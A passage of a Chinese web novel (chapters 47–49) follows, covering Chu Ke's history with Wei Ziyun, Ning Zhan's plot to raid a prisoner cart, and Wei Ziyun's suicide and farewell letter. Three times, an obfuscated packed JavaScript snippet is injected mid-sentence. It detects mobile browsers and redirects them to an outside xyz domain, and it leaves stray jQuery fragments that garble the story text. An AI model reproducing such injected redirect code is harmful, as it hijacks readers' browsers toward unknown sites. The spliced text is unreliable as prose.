“草民卫子昀，祝殿下青云直上，福泽无疆！” 宁展闻言一顿，并未回头，也不接刀鞘，边走边说：“等着，最后等一次。” 铁链被人扯了又扯，连带着犴门前后震荡。 卫子昀牙关紧闭，在昏暗中吞下零碎的呜咽。 他倾身叩首，闭目潸然，贴着枯草无声念道：“殿下，只管往前，莫回头......” 47. 缘浅 珂本美玉石，莹洁珍贵，明锐顽强。 昀本旭日光，鸡鸣起舞，无远弗届。 两不同辉，彼此缘浅。 七岁那年的楚珂尤其单薄，与流民中饥一顿、饱一餐的半大小儿相较，有过之而无不及。 耕田边界，飞禽与走兽偏生相逢于昼夜交替的斜阳里。 楚珂衣衫褴褛，血肉模糊。可在她脸上，卫子昀从来连一滴饱尝苦痛的泪也不见。 乳雀翎羽浸红，遍体鳞伤，比当初从刀光剑影下冲杀出的幼狮，难说哪个更令人钻心。 楚珂身形矮小，正猫着腰躲自己的影子，不时探头张望，一副随时要逃的起势。奈何边界以外是片平坦的荒地，压根长不出几棵杂草供她藏身，因而个头儿再小，也没躲过卫子昀的眼睛。 二人猝然对上视线，齐齐吓了一跳。 青竹阁不乏女隐士，但卫子昀甚少与之交流，乃至他从小到大印象最深的女子便是邻舍老伯的夫人——那位经常给他送含桃，请他帮忙修房檐的陈婶子。 而今让他迎面碰上这衣衫极其不整的姑娘，纵使瞧对方是个五六岁的小孩儿，卫子昀也立刻握紧肩头的篓带，迅速转身要走。 楚珂起初以为是江对岸那群天杀的追了来，拔腿欲逃。谁想人高马大的汉子反倒先行遁地，浑身冒着股不敢与她直视的傻气。 楚珂心里有了底，遂纵身猛跃，扒住那汉子的背篓，死死不放。 卫子昀忽觉两肩微沉，不知衣着冒昧的姑娘往他竹篓里扔了什么没法入眼的物件，岂能回头？ 他抓稳篓带直往家奔，仿若再跑快些就能将人和物件一并甩掉。 然卫子昀将进家门，篓子里竟跌跌撞撞飞出来一只手掌大小的鸟儿，通身翎羽近乎被血色染透了，左爪更是扎着折断的箭镞。 伤情之骇目，教人无法轻易沾手，但凡没个轻重便要在他面前咽气似的。 卫子昀登时清醒过来，暗阁隐士，实不该生无济于事的怜悯之心。 他不急不慢地放了篓，与那鸟儿拉开距离，道：“你主子何人？意欲何为？” 重伤的鸟儿并不安生，又蹦又跳冲着卫子昀来。 看它这架势，卫子昀顺手抄起墙上挂的雄狮刀，呵道：“老实交代！主子何人？安的什么心！” 鸟儿依旧吃力地向卫子昀那边靠，嘴上“叽叽喳喳”回应着。 卫子昀一个土生土长的嘉宁人，到步溪不过两年，根本听不懂那叽里咕噜的鸟语，只觉吵闹。且观其翎羽式样，与适才那位衣衫不整的姑娘别无二致。 分明可以化形，好好的人话不说，平白同他耽搁功夫，即蓄意为之，能是什么好鸟。 卫子昀杀心顿起，这样半死不残的生物，何至于动用雄狮刀？他蓦然俯身，伸手顺着鸟儿的短颈掐下！ 转瞬，屋里扬起一阵十分呛人的烟尘，险些迷了卫子昀的眼。 几支枯干的翎羽随烟落地，姑娘再次出现在他手边。二人不过毫厘之隔，近得他几欲窒息。 楚珂料定此人害臊怕羞，二话不说化了形，那庄稼汉果真收手。不仅如此，他乍一退便是五步开外。 殊不知卫子昀与他主子一样，几无怜香惜玉之心可言，哪怕看着小姑娘体无完肤。他回神后毫不犹豫地拔刀，利刃横上楚珂颈前。 “主子何人，意欲何为。我不想再问第四遍。”卫子昀声色俱厉。 楚珂见对方没了耐心，开门见山道：“你说的主子，可是爹娘？他们都没了。我瞧哥哥不像坏人，只是想要你收留我。” 卫子昀并未收刀，戒心更甚，道：“我凭什么收留你。” 虽听不懂那些鸟兽之语，他却在两年内将步溪景况摸了个七七八八。他就没见过这般年岁便能轻易化形的步溪人，想必来头不小。 楚珂确有超群的能力，至少足够自信。她对卫子昀的大刀没反应，甚至与其谈起条件。 “你身上的伤。”楚珂低头嗅了嗅卫子昀的指尖，“我会治。还保准治好。” 卫子昀委实难以接受这姑娘自说自话的托熟，不欲多加纠缠。 “我不需要。”他收刀入鞘，将卷至手肘的衣袖翻下来，试图盖住小臂的疮口及药味，“你走罢。” 三言两语，咄咄逼人的大汉便痛快停了手，楚珂心道她当真没看错人。 “你需要！”楚珂撑着泥地站起，强聒不舍，“你使的药粉只能止血，对怪血病没有半点威胁，那就是自己骗自己——” 计划之外的关切和同情，于领头的狮子皆是累赘。多余的东西会让他变得愚懦、温驯，遑论那累赘出自形迹可疑非常之人。 “你究竟是何来历。”卫子昀挥开楚珂，漠然道。 身患怪血病的人不少，单是卫子昀两年前混入的一众流民中，就有半数因着这病死在迁移步溪的官道上。 彼时，他并不知宁展给他准备的锦囊妙计，正是杏林世家以氏所制的药方。 此等怪病，以氏尚且回天乏术，这从天而降的怪鸟又何以断言她的法子能够药到病除？ “我是步溪人啊，你不是亲眼见了？哥哥见多识广，步溪的巫医术——”楚珂边说边挽起碎烂的长袖，露出大大小小惨不忍睹的伤，“听过罢？我懂一些。你不信，来试我的药。” 卫子昀自然不信，只冷眼随她摆弄破衣兜里掏出来的小药罐。 楚珂看他顾虑颇深，煞有介事地摇头又叹气，像个小大人。 “我同你试，总可以了？哥哥，你是好人......” 楚珂沾出一坨软膏往自己疮口上抹。 “我不会害你。只是这药稀贵得很，宫里想要都没有，用来治我的皮肉伤，糟践啦。对了！我给你使，你可别教第三个人晓得这药。” 卫子昀将信将疑接过药罐，却不肯用。待次日晚间，楚珂伤势见好，他才觉着或可一试。 倘是剂奇药，掌阁及同僚的怪血病皆有望痊愈了。 最终，那药没能送到宁展手里。 原是楚珂看不惯卫子昀百般轻贱自己，就是得了世上最后一碗救命的圣水，也恨不能点滴不洒端去他主子嘴边。 故而两人将药罐抢得死去活来，直至楚珂怒气冲天把制药方子甩在卫子昀面前，他才明白此药为何稀贵难求，为何以氏都一筹莫展。 那门道阴毒损身，假使人尽皆知，免不得天下大乱。 药和方子到底是楚珂的东西，卫子昀只好遂了她的意，将手头这罐用完便罢了。 卫子昀替楚珂瞒下药方，连带将她这个人也遮得严实。 - 十四岁的楚珂，身上犹然挂着恍若昨日的残衣碎袖，却似乎更绚烂、更柔软。 她一如既往，望高墙窄窗，坐囚室草席，回溯着短暂的七年。 宁展一行三人见过卫子昀，便直奔楚珂所在的囚室。不想她这回交代得如此快，竟将先前绝口不道之事也合盘托出。 楚珂谈及那罐能够根治怪血病的药，以及她与卫子昀为此药朝打暮骂的样子，逐渐失神。 她言语跌宕，又面无人色，好比神魂颠倒的痴子，震响了宁展心里的大钟。 宁展因楚珂随口带过的阴损之法心神不宁，余光屡次不住瞟向宁佳与。 这不是青竹掌阁意欲穷究秘法的迫切，是元公子面对与姑娘讳莫如深的殷忧。 宁佳与心思细，对宁展的小动作有所觉察，却若无其事地问楚珂：“卫公子家中藏的那盒翎羽，是为楚姑娘修的罢。” “你不知道，卫子昀烧饭可香了。我赖在家不走，他拿我没奈何。但他每日忙得很，还不让我跟着下地。我的伤早好了——” 楚珂收拢不成形的衣料，视如珍宝。她耳不旁听般，没头没尾地说着。 “就趁他扎进田里，飞出去玩。我不晓得运气那样背，只一次，又撞见那群摸河过来偷猎的。他们箭射得不准，可人多，好在卫子昀找我回家吃饭，不然我早被扎作草靶了。” 楚珂讲得认真，宁佳与听得专注，景以承则振笔疾书。 唯宁展貌似对这女儿家的故事提不起兴致，淡然拨弄着重新佩上的少君腰牌。 “就为着这个？”宁佳与不解，“你飞出去遭了难，他就要剪你的翎羽？” 楚珂摇头，道：“是我飞到陈婶子家那回，掉米缸去了。她家小崽成天哭，没人听我喊救命。后来陈婶子带小崽出门，我没力了，头都埋进米里。” 宁展思及宁佳与先前说的三种情况，质疑道：“如此，为何不化人形？” 楚珂早前就对卫子昀所谓的主子心怀怨怼，又见宁展三番两次在她面前显摆腰牌，却救不出连年为其拼死卖命的卫子昀，她不想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14679253|156870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 搭理。 楚珂偏过头，不哼不气。 宁佳与斜一眼宁展，故作埋怨。 “元公子以为步溪遍地是神仙吗，想变就变？她那时候年纪小，又受米缸所限，变不回去实属寻常。”顺着楚珂的话，宁佳与接道：“卫公子若只是担心你在外边遇险，何至于此？” 何至于此。 楚珂当年亦是这般问卫子昀。 - “大人明鉴，我就是好玩些，何至于此啊！” 楚珂嘴里吸溜着卫子昀给她做的十一岁生辰面，不防这人拿过剪子就要对她下手，于是生硬效仿卫子昀平素说的官话。 一时受惊，她背后“唰”地现了翅膀，全然不受控制。卫子昀虽未答话，手上动作却是一点儿不含糊，借此良机，三两下便修得小半盒翎羽。 卫子昀将新打的铜盒递与楚珂，这才道：“你腿不好使，现下翅膀也不好使了，日后就待在家里玩儿，好吗？” 楚珂年纪是小，但看得明白这四年里卫子昀是不求回报地待她好，是以没躲开卫子昀和那剪子，只愣愣抱住铜盒问。 “为什么非得待在家？” 卫子昀利落捡拾桌上油乎乎的碗筷，道：“我的故乡，像我这样的人，待家里才最安全。在......在某个地方，不管外头打斗如何凶，你进了家门，便视作弃权，再不会有人闯来寻你麻烦。输是输了，好歹手脚齐全，大不了被主子裁汰，从头来过。” “主子又不是傻子，个个按你那么逃避，岂不等同养了堆废物？要被——”楚珂总是闲不住手，抓了墙角的扫帚就扬起来玩，“扫地出门的！” “非也。主公良善，我们一日还是他的部下，他便一日不会饿着、冻着我们，且银两照发。” 卫子昀端着碗筷俯身蹲下，倒出傍晚打回家的水洗刷。 “是以，出了这个家门，我这条命便为主子活、为主子死。不能万事以你为先，不能回回护你周全。” 楚珂胡乱搅动扫帚，心不在焉。 卫子昀生在嘉宁，些个叫得上美名的好主，除了嘉宁善王，首先不就是那位事必躬亲的少君？但她难以想象，若真是良善，怎会使唤旁人为他卖命至死呢。 卫子昀背对楚珂，没瞧见她纠结的模样，兀自道：“我虽不是你的‘主子’，却也可以供你吃穿、发你银两。你还在家里一日，我护你一日。” 听吵闹无休的楚珂消停了，他又有些愧歉。 “这回没念着你高不高兴就动了手，是我不对。你不乐意，要想走，要恨我，都行。我绝不阻拦，也会同主公一样，你还能找到我，我就还给你发银子、添新衣。对了——” 碗筷布置齐整，卫子昀扭头望向楚珂。 “你喜好什么样式的衣裳？” 楚珂不看卫子昀，只挥着扫帚笑他：“哥哥，你太笨！” 卫子昀双手未干，略显局促地背于身后，支吾道：“不是我笨。我从前都是与男子打......嗯，打交道，没琢磨过正经裁制的姑娘衣裳......” 外头砰然降下的雨点刹那淹没了话音，颗颗分明，砸在楚珂耳际，经久不散，是个永远不会放晴的意思。 她哭罢了笑，笑罢了哭，如梦中贪醉之人。 “这......”卫子昀几步上前，手足无措，“怎的哭了？” 楚珂抹去豆大的泪，指着远方说：“怎么办呐！地里的菜，又要被淹了！” 卫子昀循她目光所及，叹道：“没法子。农人种地，只能看天。” 话音未落，楚珂涕泪横飞。可她还是笑，笑得卫子昀发慌。 卫子昀忙扯起自己的粗衣，却顿了手，复而捏起楚珂柔软的袖子，僵硬擦拭她的脸颊，道：“别怕，咱另有银子领，每月五十两，够买一屋子的漂亮衣裳了。” “我才不稀罕那些衣裳！”楚珂笑骂道。 卫子昀以为楚珂怨他自作主张，正当弯腰谢罪，谁知楚珂一把将他推得老远。 她转向屋外，将两个词前后吼入瓢泼雨夜：“哥哥——” 最后一词，谁都没听真切。 - 大理寺狱的高墙外震起闷雷，密云不雨，遮去窄窗投下的半束光。 楚珂看着宁展腰间坠下的牌子，咧了嘴角。 “就是。何至于此。” 48. 立场 暮色苍茫，宁佳与随宁展一行人乘车返回宅院。 以宁束绳即停，景以承心有余悸地落车入院，宁展和宁佳与稳步跟上。 白歌单独牵着马候在门外，愁眉不展。 宁佳与确信自己是头回来到此处，然则沿路的拱桥流水、亭台楼阁，甚至是脚下九曲十八弯的游廊，都太过熟悉。 她不禁猜想，步千弈着人造这高门阔院，果真只是为了挖苦宁展？ 四人径直走向主楼，宅中最为华贵的屋室莫过于此。 先前日头大好，远观光彩溢目，艳俗非常。 现下薄暮冥冥，方能看清那些翠瓦碧甍，倒是与步千弈的喜好有几分相近。 “阿宁，照承仁君的册本誊抄一纸供词，拣着与农夫斗杀案有关的写，过后送交大理寺。”宁展转向景以承，颔首询问：“景兄，可方便？” 景以承一愣，没料到随手记的文字能派上这般用场。他是千百个乐意，爽快地将册本递与以宁：“当然当然！” 以宁躬身接下册本，匆匆离开。 “元兄，大理寺办差......竟如此马虎吗？”景以承很想领下这份功劳，却不免困惑，“若我并未记下地牢叙谈，他们岂不是又要向卫公子发难？” 宁展屏退外人，方引手邀景以承落座，耐心解释。 “大理寺会做好他们份内之事，而出自你我几人的供词，也得交。大理寺未必不明真相，卫子昀之所以拖到现下才开口，是在等我。若你我不在，大理寺完全可以吞掉他的供词，装聋作哑。” “哦！元兄是在告诫大理寺——咱们耳闻目睹，别想作假？”景以承若有所思，又纳闷：“但大理寺......不能听咱们一面之词吧？” “景兄说的是。那地牢里，不止我们几对耳目。试试这梅子汤。” 宁展提起宅中仆从事先备下的冰汤，给景以承倒上半盏。 “比茶的滋味好。景兄还记得囚室里的草席吗？” 宁佳与悻悻看了眼自己手边的空碗。 她才不屑与宁展抢那宝贝冰汤，于是摸出兜里的含桃放嘴里嚼，心下则叹此人过河拆桥，好没良心！ 景以承笑呵呵品着汤，信心满满：“记得！” 不消多时，他猛偏头喷出半口汤，大惊道：“可那草席！裹的......不是死人吗......” 景以承不谙破案查实，却辨得出地牢里尽是尸臭味。 昔年，景安王后硬是在宜和宫旁搭了一座焚尸炉、一座停尸台，道是用以处置宫中“横死”的下吏、婢子，实是对他和以墨的变相威胁。 那般气味，是靠以墨镇日煎药、熏艾对冲，景以承才逐渐忘了。而今遽然遭遇，回忆猝不及防被勾了起来。 “草席里裹的是死人。”宁展取了方巾递与景以承，再坐回原处，“那草垛里呢？” 这么一提，景以承眼前的画面缓缓清晰，登时没忍住打战。 他攥紧方巾，后怕道：“无怪我总觉着地牢里好多双眼睛在看我！他们大理寺未免太阴了些，就不能大家堂堂正正坐下来商洽吗！” 大理寺自然可以。 但那潦草粗席，裹着无人在意的尸骸，象征有去无回的下场。草垛遍布步溪地牢，藏的却从来不是兽族。 藏的什么，旁人兴许不解，宁佳与则再明白不过。然面对宁展毫不避讳的目光，她打了退堂鼓。 景以承惯于没心没肺，一进殿便被牵着思路走，这会儿循着宁展的视线，终于想起边上还坐着宁佳与。 他赶紧动身捧来冰汤，给宁佳与满上一盏，道：“这梅子汤不赖，小与姑娘也品品！” 宁佳与谢得极快，端起就饮，恰好借势躲过宁展“问罪”的意思。 “不论人在明在暗，皆为卫子昀的命来。但他们，”宁展接了景以承的话，目光依旧停在宁佳与身上，“休想事事如意。” 宁佳与一眼便能断定，宁展接下来的说辞务必挡在仅此三人的金殿内。她走向朱门，将天昏地暗的景致隔绝在外，回身明堂，不染纤尘。 景以承尚未发问，紧着被全无顾忌的宁展唬住。 “我要劫囚车。不知两位，意下如何？”宁展格外认真，但显然不是针对手无缚鸡之力的景以承。 宁佳与缄默如故，宁展也并未追着问。 在宁展看来，宁佳与重归故土，成了面心旌摇曳的旗帜，时而向嘉宁，时而向步溪。 这回，旗帜挥到哪里，摆去何方，他暗自存了侥幸。 偌大金殿，单景以承瓮声瓮气地开口劝：“元、元兄，你三思啊。这可不是闹着玩儿的......” “君子言出。”宁展凝瞩不转，指尖一下一下叩在几案，“驷马难追。” 景以承仓皇转视，莫名觉着神通广大的小与姑娘能有法子稳住宁展。 “小与姑娘......你以为呢？” “......在下以为，不可行。”宁佳与徐徐道，“且不谈大理寺高手如云，就是当真劫成了，元公子难挡七州上下口诛笔伐。您方才请褫储位，若一贬再贬，恐怕——” “高手如云？” 宁展当即冷嗤。 “真有这样的能耐，那储位我留与他们坐。大理寺使阴招在先，我为何不能？劫囚的名，我不领，没人能按我的脑袋领。” 宁佳与指尖似有似无地掠过银骨扇，道：“不知元公子有何‘高见’？” “她那么想救卫子昀。”宁展擦拭着少君腰牌，笑道，“何不成全这段美救英雄的佳话？” ——楚珂！ 旁人要取卫子昀首级，换各得所哉。宁展便要像宁佳与日前诈取楚珂破绽所作的假设那样，用楚珂换卫子昀安然脱身。 卫子昀此案不但师出有名，如略加渲染，更则当得起为民除害之义，再将劫囚的名迁至“蛊惑人心”的楚珂头上。 一切都将迎刃而解。 待楚珂背着罪上了断头台，墨川数条人命得了交代，步溪严惩盗猎的法令顺风扯帆，青竹阁立于步溪的脚跟不固自稳。 届时，谁还根究一个无亲无故的女子何至于此？ 宁佳与盯着那双眼，试图从玄潭里找到真正的宁展。 宁展此际仿佛容不下任何人，包括他自己，眼里是志在必得的意气，及其堂而皇之的欲望。 雷动风行，乌飞兔走。 宁府的清池桃色，早在嘉墨十六年不复往昔澄净。今岁仲春的尾巴，藏书阁内昙花一现，方才又见旧时之华。 宁佳与记得那夜稍纵即逝的水中桃，春光青涩，稚拙滢润。她回神再看，只剩锐不可当的满园凄厉，孽火无状，凶戾而艰深。 一路走来如何疲累，宁展亦端得君子姿态，景以承哪里瞧过这般令人胆寒的世子老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14679254|156870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 师？他面色如土，整个人悄悄往麒麟雕椅里缩。 “楚珂。”宁佳与手压银骨扇，沉声道：“她舍己制药，对卫子昀可说百般依从，却做错了什么？” “她的出现，本身就是错误。”宁展不容置疑，“即便没有她，卫子昀也不会因病丧命，且要活得比现在更好。” 过去七年，楚珂念念不忘，宁展却没兴趣。以他所见，正是这只自以为然的麻雀，将他亲手送上山巅的雄狮推了下来。 宁佳与深知宁展野心，不意他竟甘愿与偷奸耍滑之辈沉沦。 “元公子如此行事，与那群不分青白之人有何分别？” “坐在这个位子上。”宁展抬指点了点雕椅的靠手，“谁棋高一着，谁便是白。反之亦然。” 宁佳与握紧折扇，不置可否。 她不由思量，若自己当初狠心除了旁人口中的伪君子，或在身份暴露后立时返回步溪，不与对方同道而行，当下是否可以展望另一个稍显圆满的结局？ 宁佳与后悔，也不后悔。 若要她在作伴十载的师兄弟和素不相识的卫子昀之间作抉择，她会以命抵命。 用自己的命，抵旁人的命，不比宁展的法子高明到哪儿去，权因她承认自己曾临难苟安。 宁佳与从险境出逃，活下来，从前是要全七州认清谁才是老天该收的恶人；如今，却是为了救那许多同她少时一样不想被世道随意撇弃之人。 这条捡来的命，哪怕只能抵一回，于她而言就是值了。 七州波谲云诡，鱼龙曼衍。的确，似宁展这般位高权重者，不算计他人，便要任他人算计。宁佳与身远庙堂，亦在不知不觉中触了腥风血雨的阵。 巢倾卵覆，少有幸免。 “劫与不劫，无须两位出手。我就问一个准话，”宁展将腰牌系妥，坠于茄袋之上，“或走或留，权凭本心。” 景以承不是庸才，又悉心肯学，不失为宁展培养为长久幕僚的好人选，坏只坏在其生性胆怯。 恐于妖魔鬼怪事小，惧于刨根究底事大。他不敢揣摩奸邪深意，更不敢直面地狱光景。 宁展此番，要把光鲜之下的丑恶撕给景以承看。景以承若龟缩不前，就算是他看走了眼，趁早另作考虑。 “我......”景以承咬咬牙，铆足了胆，端正道：“我不走！来之，则安之。大丈夫，没有半途而废的道理！” 至于宁佳与，宁展真的只要她一个答复。 有不再摇摆的立场，宁佳与就是居心叵测，宁展也愿给她一个“难言之隐”的借口。 岂知宁佳与没应声，以宁慌不迭叩响门，嘴上已然乱了青竹隐士出门在外的规矩。 “殿下！大理寺狱，有信呈报！” 宁展大步上前。门扉一动，以宁近乎倾身跌进来，手上捏着未及送出的供词。 “慌慌张张，什么模样。”宁展极少苛责以宁，今日却有些按捺不下。他拂袖负手，平复道：“何事？” 事态再差，无非步溪大理寺先嘉宁一步递交供词，农夫斗杀案完满审结，判书由此下。宁展早做了预计。 “卫......”以宁气喘汗流，虎口的供词越收越紧，“卫......” “有话快讲。”宁展胸口堵着郁气，怎么也缓不过来。 “狮子。”以宁双膝跪地，磕头道：“狮子......没了。” 49. 绝笔 “什么叫没了。”宁展背对几人，“判书未下，大理寺焉敢越俎代庖？” “并非......大理寺执刑。”以宁长叩不起，断断续续说着大理寺递来的口信：“是......吞刀自戕。” 卫子昀久困其间，若早有佩刀在身，那些屡次深入地牢的青竹隐士不至于有去无回。 “是谁。”宁展侧首望向隔挡里间的珠箔银屏，沉声道，“谁把刀给他的？” 殿内阒然，蓄势已久的闷雷终于滚过天边，轰隆炸响，霍闪将大片彤云劈得四分五裂。 堂前燕抖翼逃散，翎羽落了一地。 这平地惊雷如击人天灵，直震宁展头骨。他身后立着嘉宁与景安，隐着母族与暗阁，即使火气再大，隐忍为上。 来日方长。 戌正一刻，地牢里灯烛通明，全然没了先前的昏暗及腥臭。 卫子昀两臂垂地，额倚高墙，背朝囚门半跪。再旺的光焰，如今也无从打亮他埋入阴影的脸。 宁展与卫子昀阔别多年，原先竟不觉狮子怎么成了眼前这副耸膊成山的模样。 狮头柄傲视群雄，抵着糙可磨铁的地砖。 利刃自下而上，穿喉刺过，撑起一躯随时欲倒的冰冷，送走赍志以殁的不甘。 血溅三尺，草写好梦难圆。 宁展去素冠，缚洁绫，白衫等身，腰佩长剑。 他如约出现在步千弈面前，将一命归阴的卫子昀挡至身后。 “步世子眼下不该盯着文官日夜赶笔，好在天亮之前将此事公诸于世吗？”宁展平和道。 步千弈不紧不慢，抚掌称许：“果然是淑人君子，处变不惊。在下佩服。” 这话，是明摆着讥刺宁展刻薄寡义，那坊间流传的贤德美名不过尔尔。 宁展没心思与步千弈周旋，道：“你我各取所需，何必逼死我的人？步溪世子，是要靠着过河拆桥来开基立业吗。” “过河拆桥？”步千弈微微摇头，“待明日的新律昭示七州，先前应许步州令，同样会交与宁世子——哦，如今该是展凌君了。” 宁展问出谁把刀给了卫子昀那一刻，便确定了答案。 “没有判书，谁能左右卫子昀死活？”宁展看向囚室地上孤零零的刀鞘，“步世子自作主张、暗下杀手，究竟安的什么心。” 步千弈眉梢一挑，淡然道：“听雪阁尚且不曾追究青竹阁何故派人伪装流民、私立暗桩。始作俑者，倒质问起我来了？” 暗阁游走江湖、市井，不受朝纲限制，效忠掌阁一人，却得有不成文的规矩。虽不必互通实际方位，但设在三位掌阁地界内的暗桩，皆须由主事如数呈报至该掌阁之手。 步溪能力通天者不胜枚举，以致城内青竹、迎柳的一举一动皆难避其耳目，暗桩及其人头不得不平抑在合宜范围内，诸多不为步溪所接纳之念更是被扼死于根源。 然则嘉宁、墨川两座王城中，听雪阁明面上自与其余两阁大差不离，若有心隐瞒，非常人可察。 因着步溪素来讲信修睦，听雪暗桩亦是多作调和各方用，是以纵料此隐患，迎柳掌阁墨司齐也以等闲视之。 彼时堪堪执掌青竹阁大权的宁展则深以为意。 为破前局，宁展留意到部分奔赴步溪城的落难流民。 流民多害怪血病，卫子昀确有此患且才干出众，是极好的问路石。 青竹阁把握悯恤之心，仅两年便将百余名乔装打扮的青竹隐士陆续送入步溪城。至此，宁展能够调动的人手和青竹阁行事的保密程度越发乐观。 即使两年后步千弈亲自毁了这条见不得光的诡道，步溪城中像卫子昀这样的猛将早已各有所成，令人盘查、清理起来十分不易。 “这是掌阁之间的账，你大可找我当面算。如此大费周章去为难一个小部下，”宁展道，“听雪阁怕是连本儿都赚不回来罢？” “卫氏的死活，从来由他自己而定。他一心求死，听雪阁能如何？”步千弈懒怠与他争执，似是豁达道：“那旧账，就算你平了。” 平？ 青竹隐士粗席裹尸，毙命数日不得落葬。 卫子昀手脚筋脉尽断，唯有吞刀过喉，方才得个痛快。 步溪累年难消的凌虐，到头非得借一个外州人的手和命奋起反抗。 烂帐笔笔，片言何平？ “嘉宁人氏，为着步溪的新律出头、认罪。你们呢？” 宁展瞥向卫子昀手掌残留的墨渍和枯红，指节作响。 “不止断人手脚，连性命都不肯留。这般蛮不讲理，步世子早前还要与我谈合作？” “非也。这新律换敬令，是在下与你协约所定。但卫氏手里，另有宝物。他的命，”步千弈漫不经心道，“须得由此物来换。卫氏心知肚明，展凌君岂会不解？” 宁展固然高挑，还是比不过步千弈的先天优势，矮了对方两三寸。 他跨步上前，势要护住卫子昀的尸首，道：“能解如何，不解又如何？” 步千弈却觉得宁展实在虚伪，于是掸襟离去，只留下一句“展凌君便等着敬令送上门罢”。 步千弈的倒影彻底消失，宁展松了袖衫下掐出印的拳头。 半晌，他才提起迈向桌案的第一步。桌上摆着敞口的信函，想是早被大理寺里外翻了个遍。 封皮上分明写着，吾主亲启。 - 主公，展信好。 阔别九年，重逢于此，实非我愿。 然见主公意气风发，贤名远扬，犹胜当年，吾辈喜不自禁，众心振奋。故家中一切康平，同袍同泽，如竹攀高，将成上可参天，下可拔地之势，所向克捷。唯有一方不毛之地，或须防微杜渐。 渣滓理当躬行诛，雄狮刀下斩奸邪。当年赠言，每饭不忘，是以除恶务尽，问心无愧。 吾乃农人，种瓜得瓜，种豆得豆。一切祸福，自己作来，自己受。 此生，幸得主子青眼，方有枯木再生，两世为人。又托主子慈心，先赐新氏，后冠雅名。诸般恩情，铭肌镂骨，没世难忘。 为君，吾辈九死不悔。 卫氏子昀，今番原璧归赵。望主子长虑却顾，勿念尘芥。前方严阵以待，刀山火海，听凭调令。 吾主明君，年方十九，俊彦有志，赫赫凌云。苍天在上，可见枯苗盼雨，大旱望云霓。愿日月早重光，还君时和岁稔、盛世承平。 此致，拜别。 来世还做投石子，提携玉龙替君死[1]。嘉墨二十七年夏，绝笔。 - 墨迹潦草，疾行纸上。他来去匆匆，字字泣血。 宁展捧着这封以青竹阁密用文法完成的绝命书，视线模糊于“嘉墨二十七年夏”，透骨酸心，惄焉如捣。 戌正三刻，雷雨骤然扑向整个步溪，张狂的潇声肆虐城池。 地牢寂若无人，终为漫漫长夜所没，封棺成殓。宁展不胜其苦，与那几近疯魔的雨夜此唱彼和，泣不可仰。 直至地牢里再接不到一滴泪，即见以宁奋不顾命挥剑闯入，其后追赶的束衣男子面如死灰。 以宁一眼盯住宁展身后的高墙，墙上殷红飞溅。 “——殿下！”他惊惧呼唤，踉跄推开囚门，才瞧见被宁展和桌案遮挡，死状不可谓不惨烈的尸首。 宁展随手抹去泪痕，手压剑柄，看向外边的束衣男子。 不佩刀、弩、剑，身着青蝉翼。 听雪阁。 以宁深知这会儿不是多愁善感的时候。他回神转身，护着宁展，与那人隔门相对。 宁展拨开了以宁的肩，吩咐道：“去，收刀入鞘，将人处理妥当带走。这里太脏。” 令出如山，以宁从不怠慢。 可他方获悉阁中数位隐士下落不明，此际又亲眼目睹往昔雄狮惨死，就是责他违逆，他也没法置宁展的安危次于指令。 宁展并未降罪，只将以宁推向卫子昀，兀自质问束衣男子：“本君的人，现在何处。” “埋了。”那人答得爽快，却有意不说埋在了哪里。 “现、在、何、处。”宁展一字一顿，步步接近。 束衣男子闭了嘴。 他右手负后，向外倒退，脚步麻利而不失稳健，行止之间，略有几分宁佳与身轻如燕的架子。 可惜，他还远远比不上宁佳与！ 那人说话便要走出犴门，即被宁展迎头追上。 宁展踏地腾跃，片刻不差，翻身断其起势，截其去路，将人堵在灯火烛顶的囚室长廊。 束衣男子眼中闪过一丝讶异，似在惊错宁展何以如此了解听雪阁的节奏。 青蝉翼与素白衫之下，脚步迂回，无声对峙。 束衣男子谨慎退至长廊另一头，确保自己将背后全部交与坚实的高墙，而非囚室内蓄势待发般的以宁。 宁展紧盯那人背于身后的右手。 三大暗阁，青竹执剑佩刀，迎柳负弩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14679255|156870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 搭矢，独听雪标新立异，花样层出不穷。 说好听些，是妙用江湖暗器。说难听些，都是下九流的鬼蜮伎俩。 坏人心术！ 眼观那人势动，宁展果断拔剑出鞘。束衣男子同时弓腰起跳，借着身后高墙及两侧栅栏凭空飞跨，猛向他俯冲。 宁展亦然阔步，挥剑对敌。 两道锋芒划破一文不值的颜面，二人奔突相向，间距陡然迫近。 束衣男子立刻扬起右手，甩着“哐啷”脆响的刺棱铁链，朝宁展劈头而下！ 长剑与刺链擦身撞击，震颤不止。 男子力大如牛，铁索长逾五尺、重达一钧，被他赶得快若疾风，每每以迅雷之势抓住宁展通体煞白的利剑。 